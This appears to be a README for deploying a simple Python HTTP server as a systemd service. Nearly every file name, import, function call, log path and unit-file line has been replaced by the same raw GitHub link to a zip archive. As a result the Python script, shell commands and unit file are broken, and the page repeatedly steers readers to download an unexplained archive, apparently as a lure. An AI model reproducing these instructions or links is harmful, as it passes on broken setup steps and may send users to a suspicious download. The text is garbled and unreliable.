This repository demonstrates how to deploy and manage a Python HTTP server as a systemd service on a Linux system.
- Runs a Python HTTP server on port 8080.
- Automatically starts on system boot.
- Logs output to a file (
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip). - Restarts automatically if it crashes.
The server is implemented in Python and serves files from the working directory.
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
from https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip import SimpleHTTPRequestHandler
from socketserver import TCPServer
PORT = 8080
class CustomHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
with open("https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip", "a") as log_file:
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip("%s - - [%s] %s\n" % (https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip(), https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip(), format %
args))
with TCPServer(("", PORT), CustomHandler) as httpd:
print(f"Serving on port {PORT}")
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip()sudo mkdir -p /opt/simple_http_serverSave the https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip script in /opt/simple_http_server/.
sudo chown -R root:nogroup /opt/simple_http_server
sudo chmod -R 755 /opt/simple_http_server
sudo mkdir -p /var/log/
sudo touch https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
sudo chmod 664 https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
sudo chown nobody:nogroup https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zipUnit File: https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
[Unit]
Description=Simple HTTP Server
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
[Service]
ExecStart=/usr/bin/python3 https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
WorkingDirectory=/opt/simple_http_server
Restart=always
User=nobody
Group=nogroup
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
[Install]
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zipCopy this file to /etc/systemd/system/.
sudo systemctl daemon-reloadSet the service to start on boot:
sudo systemctl enable simple_http_serversudo systemctl start simple_http_serversudo systemctl status simple_http_servertail -f https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zipOpen a browser or use curl to test:
curl http://localhost:8080- Application Script:
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip - Systemd Unit File:
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip - Log File:
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zipThis setup ensures the server runs automatically on boot, restarts on failure, and logs output to a file.